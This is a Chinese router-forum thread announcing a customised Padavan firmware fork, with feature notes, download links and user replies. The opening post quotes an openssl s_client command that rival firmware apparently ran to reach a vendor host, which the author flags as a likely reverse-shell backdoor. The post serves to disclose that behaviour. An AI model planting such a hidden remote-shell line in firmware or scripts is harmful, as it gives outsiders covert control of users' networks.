恩山无线论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 25657|回复: 240
打印 上一主题 下一主题

精工细作的 Padavan 固件(K2P、Newifi3、Newifi-Mini、小娱C1)

    [复制链接]
跳转到指定楼层
1#
发表于 2019-9-11 22:10 | 只看该作者 |只看大图 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Yonsm 于 2019-9-18 20:56 编辑

一、来由

最近偶尔发现家里的路由器 CPU 100%,开了openssl s_client 连接到它发布页相同的域名(openssl s_client -quiet -connect opt.cn2qq.com 443 -servername opt.cn2qq.com),这是一个典型的反弹shell的用法,可能是后门。之前至少有两个人报过同样的问题(参见1参见2);另外似乎有其它人的固件在连接“openssl s_client -quiet -connect koolproxy.com 443”。闭源不按规则出牌的做法之前已经被诟病不少,作为家庭网络中枢的路由器被安置后门更是难受。

最近 fork 了 hanwckf 的 Padavan 代码,按照自己的喜好一通大改,看着终于比较舒服了:

  • 大量的 UI 细节改动:如 DIY 了 logo 和 favicon、翻译词条、以及其它细节等;
  • 客户端状态页面,支持显示 WIFI 信号强度 RSSI,点击标题栏支持按名称、IP、MAC、RSSI排序;
  • 支持小娱 XY-C1 配置,全面去除 WIFI 相关的管理页面;
  • 右上角工具按钮及图标优化,支持关机按钮;
  • 好多其它修改,暂时懒得码字了,看git分支和提交记录吧。

二、图示

以下为小娱C1的固件,我自用的去掉了SATA,实际发布有SATA功能(但未测试):



以下为K2P纯净固件,集成了5.0.3的驱动,适用于用作AP(实际发布的含$$):



三、使用

我编译了 K2P、Newifi3、Newifi-Mini、小娱C1/C5 的固件,自己测试中,不保证稳定性和质量(基本与hanwckf一致),下载地址:

https://github.com/Yonsm/Padavan/releases

默认配置如下:
主机名:Router
IP:192.168.1.1
WIFI:设备型号_标识/1234567890
账号:admin/admin

其它大部分功能功能和参考 hanwckf 一致,参考他的文章,特别是其中 $$ 的部分需要仔细特别关注。

其它固件或需要修改功能,可以自行下载源代码编译:https://github.com/Yonsm/Padavan

四、后续

欢迎大家反馈使用、反馈,后面还会继续完善。也欢迎 fork 和 PR,上述部分修改(如RSSI排序、关机按钮已PR给hanwckf并被合并,如果不需要我那些个性化的东西,也可以使用他的代码库)。
目前还有一个大问题想解决:集成 Samba 4.10.x(或4.9.x),谁能指教或有 pre-build 的 binary 能分享的话,非常感谢。


评分

参与人数 23恩山币 +24 收起 理由
捡个人 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
gengming + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
sslnew + 1 几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分!
essencer + 1 几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分!
thomas沐 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
hurric + 1 Y1 mini 进不了设置页
v2mx + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
我是路人乙 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
hytmcs + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
xinup + 1 希望添加去广告和KMS,感谢分享
zzd2358 + 1 有bug,无线中继扫描显示出来的信号全是错乱的。面目全非
chencencc + 1 有bug,无线中继扫描显示出来的信号全是错乱的。面目全非
amjake + 1 有bug,无线中继扫描显示出来的信号全是错乱的。面目全非
开始懂了~ + 1 马上70周年国庆了,在此我祝你国庆节快乐!
hasta + 1 一看就是觉得高端、大气、上档次!
secowu + 2 马上70周年国庆了,在此我祝你国庆节快乐!
dqedu + 1 固件很好,希望科学部分能够增加指定客户端功能!
sarah0915 + 1 感谢你的分享,无论怎样,你都是最无私的人!
Cheney_xu + 1 感谢你的分享,无论怎样,你都是最无私的人!
yanzihui + 1 board.h裏加入這一行默認就是AP模式了。#define BOARD_ROLE_REPEATER 1
369079365 + 1 希望楼主还可以集成下 aria2 这样就是个家庭小nas了 。感谢大神们的无私奉献
zhoudecai + 1 马上70周年国庆了,在此我祝你国庆节快乐!
slwl135 + 1 感谢你的分享,无论怎样,你都是最无私的人!

查看全部评分

我的恩山、我的无线 The best wifi forum is right here.
2#
发表于 2019-9-11 22:16 | 只看该作者
好,不错不错

点评

大神我加你了  详情 回复 发表于 2019-9-25 15:20
我的恩山、我的无线 The best wifi forum is right here.
3#
发表于 2019-9-11 22:36 | 只看该作者
驱动是5030吗
我的恩山、我的无线 The best wifi forum is right here.
4#
发表于 2019-9-11 22:51 | 只看该作者
很不错,厉害!
我的恩山、我的无线 The best wifi forum is right here.
5#
发表于 2019-9-11 23:15 | 只看该作者
ipv6支持吗
我的恩山、我的无线 The best wifi forum is right here.
6#
发表于 2019-9-11 23:33 | 只看该作者
是以前xcmd的作者么?

点评

呃……是的。以前无忧捣腾的XCMD/WinCMD,老九拿去改成了PECMD成了后续好长一段时间各种PE的Shell Loader和工具脚本环境,我自己后续演进成了 CeleScript 去掉了 PE Shell Loader功能,也备存在这里了:https://git  详情 回复 发表于 2019-9-11 23:36
我的恩山、我的无线 The best wifi forum is right here.
7#
 楼主| 发表于 2019-9-11 23:36 | 只看该作者
rush 发表于 2019-9-11 23:33
是以前xcmd的作者么?

呃……是的。以前无忧捣腾的XCMD/WinCMD,老九拿去改成了PECMD成了后续好长一段时间各种PE的Shell Loader和工具脚本环境,我自己后续演进成了 CeleScript 去掉了 PE Shell Loader功能,也备存在这里了:https://github.com/Yonsm/CeleScript

点评

我说怎么这么面熟啊。哈哈。  详情 回复 发表于 2019-9-19 21:22
当时很受不了*九*桃的所作所为,后来开源的PECMD2012出来他们也自然淘汰。 我以前有用过wince的机器,用xcmd写了很多脚本,现在也无情淘汰,还是研究linux,研究成果比较持久。  详情 回复 发表于 2019-9-12 07:57
我的恩山、我的无线 The best wifi forum is right here.
8#
发表于 2019-9-12 00:04 | 只看该作者
这个固件可以加入 网易云插件吗 嘿嘿
来自苹果客户端来自苹果客户端
我的恩山、我的无线 The best wifi forum is right here.
9#
发表于 2019-9-12 01:16 | 只看该作者
我的恩山、我的无线 The best wifi forum is right here.
10#
发表于 2019-9-12 07:57 | 只看该作者
Yonsm 发表于 2019-9-11 23:36
呃……是的。以前无忧捣腾的XCMD/WinCMD ,老九拿去改成了PECMD成了后续好长一段时间各种PE的Shell Loade ...

当时很受不了*九*桃的所作所为,后来开源的PECMD2012出来他们也自然淘汰。
我以前有用过wince的机器,用xcmd写了很多脚本,现在也无情淘汰,还是研究linux,研究成果比较持久。

点评

妈呀,你不说我都忘了WM中的才叫XCMD…,这个后面我改成了CeleCmd,代码备存在:https://github.com/Yonsm/CeleCmd,大趋势如此,青山遮不住,哈哈,虽然没什么用了,存个档。  详情 回复 发表于 2019-9-12 08:03
我的恩山、我的无线 The best wifi forum is right here.
11#
 楼主| 发表于 2019-9-12 08:03 | 只看该作者
rush 发表于 2019-9-12 07:57
当时很受不了*九*桃的所作所为,后来开源的PECMD2012出来他们也自然淘汰。
我以前有用过wince的机器,用 ...

妈呀,你不说我都忘了WM中的才叫XCMD…,这个后面我改成了CeleCmd,代码备存在:https://github.com/Yonsm/CeleCmd,大趋势如此,青山遮不住,哈哈,虽然没什么用了,存个档。

点评

server酱,alidns感觉还是有需要啊,kms  详情 回复 发表于 2019-9-19 21:24
我的恩山、我的无线 The best wifi forum is right here.
12#
发表于 2019-9-12 09:04 | 只看该作者
支持卤煮,加油!
我的恩山、我的无线 The best wifi forum is right here.
13#
发表于 2019-9-12 09:18 | 只看该作者
支持一下
来自苹果客户端来自苹果客户端
我的恩山、我的无线 The best wifi forum is right here.
14#
发表于 2019-9-12 09:44 | 只看该作者
谢谢分享;请教下:在 该padavan下的linux-3.4内核目录下make menuconfig能设置mesh参数但是一编译就恢复初始值了,应该如何修改哪个文件才对啊? 再请教上网的R如何开启源码中的哪个配置文件哪个选项喃?  谢谢
我的恩山、我的无线 The best wifi forum is right here.
15#
发表于 2019-9-12 11:03 | 只看该作者
本帖最后由 samyi 于 2019-9-12 11:26 编辑

以前楼主是不是有个与你的用户名Yonsm同名的博客,后来不能访问了,认得你的github主页头像后面会不会加个QOS呢,平常还是用得上的

点评

Yonsm.NET 域名没续费了,用 https://yonsm.ga 可以访问,或者永久点的:https://yonsm.github.io  详情 回复 发表于 2019-9-12 18:10
我的恩山、我的无线 The best wifi forum is right here.
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|小黑屋|Archiver|恩山无线论坛(常州市恩山计算机开发有限公司版权所有) ( 苏ICP备05084872号 )

GMT+8, 2019-11-21 19:22

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表